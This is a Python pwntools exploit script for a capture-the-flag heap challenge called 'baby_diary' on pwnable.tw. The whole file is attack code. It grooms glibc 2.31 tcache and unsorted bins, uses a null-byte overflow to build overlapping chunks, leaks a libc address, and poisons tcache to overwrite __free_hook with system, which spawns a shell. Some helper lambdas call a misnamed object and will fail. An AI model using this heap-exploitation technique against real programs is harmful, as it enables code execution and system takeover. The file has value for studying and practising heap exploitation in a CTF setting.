from pwn import * from pwnlib.adb.adb import interactive from pwnlib.term.term import flush, put from pwnlib.ui import pause import os filename = 'baby_diary' libcname = 'libc-2.31.so' context.arch = 'amd64' debugger = 'pwndbg' path = os.path.dirname(os.path.realpath(__file__)) file = ELF(path + '/' + filename) libc = ELF(path + '/' + libcname)
DEBUG = False DEBUG = True if DEBUG: context.log_level = 'debug' context.terminal = ['terminator', '-x', 'sh', '-c'] debug_command = '' debug_command += '' io = gdb.debug(path + '/' + filename, debug_command) else: io = remote('chall.pwnable.tw', 10103)
def p(): info("PID:" + str(proc.pidof(io))) pause()
lg = lambda name,data : p.success(name + ": 0x%x" % data) l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00")) l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00")) ru = lambda x : io.recvuntil(x) sn = lambda x : io.send(x) rl = lambda : io.recvline() sl = lambda x : io.sendline(x) rv = lambda x : io.recv(x) sa = lambda a,b : io.sendafter(a,b) sla = lambda a,b : io.sendlineafter(a,b)
def write(size, content): sla('>> ', '1') sla('size: ', str(size)) sla('content: ', content)
def read(index): sla('>> ', '2') sla('index: ', str(index))
def delete(index): sla('>> ', '3') sla('index: ', str(index))
for i in range(7): write(0x38 - 1, 'chunk_' + str(i))
write(0x98 - 1, "chunk_7") write(0xb40, "chunk_8") write(0x10, "chunk_9")
delete(8)
write(0x1000, "chunk_8") write(0x38 - 1, "chunk_10")
write(0x38 - 1, "chunk_11") write(0x80, "chunk_12") write(0x38 - 1, "chunk_13") write(0x38 - 1, "chunk_14") write(0x38 - 1, "chunk_15") write(0x38 - 1, "chunk_16")
for i in range(7): delete(i)
delete(15) delete(13)
for i in range(7): write(0x38 - 1, 'chunk_' + str(i))
write(0x420, "chunk_13") write(0x38 - 1, p64(0x50))
delete(10) write(0x38 - 1, b'\x00' * 7 + b'\x03' + p64(0x201))
write(0x38 - 1, "chunk_17")
for i in range(7): delete(i)
delete(11) delete(10)
for i in range(7): write(0x38 - 1, 'chunk_' + str(i))
write(0x38 - 1, '')
delete(16) write(0x38 - 1, '\x00' * 0x37) delete(11) write(0x38 - 1, '\x00' * 0x2f + '\x20')
delete(13)
write(0x30, 'chunk_11') write(0x20, 'chunk_18') write(0x30, 'chunk_19')
read(12)
libc_base = u64(ru(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x1ebbe0
delete(17) delete(15)
sysaddr = 0x55410 + libc_base freehook = 0x1eeb28 + libc_base
write(0xa0, b'\x00' * 0x88 + p64(0x41) + p64(freehook)) write(0x30, '/bin/sh\x00') write(0x30, p64(sysaddr)) delete(17) io.interactive()
|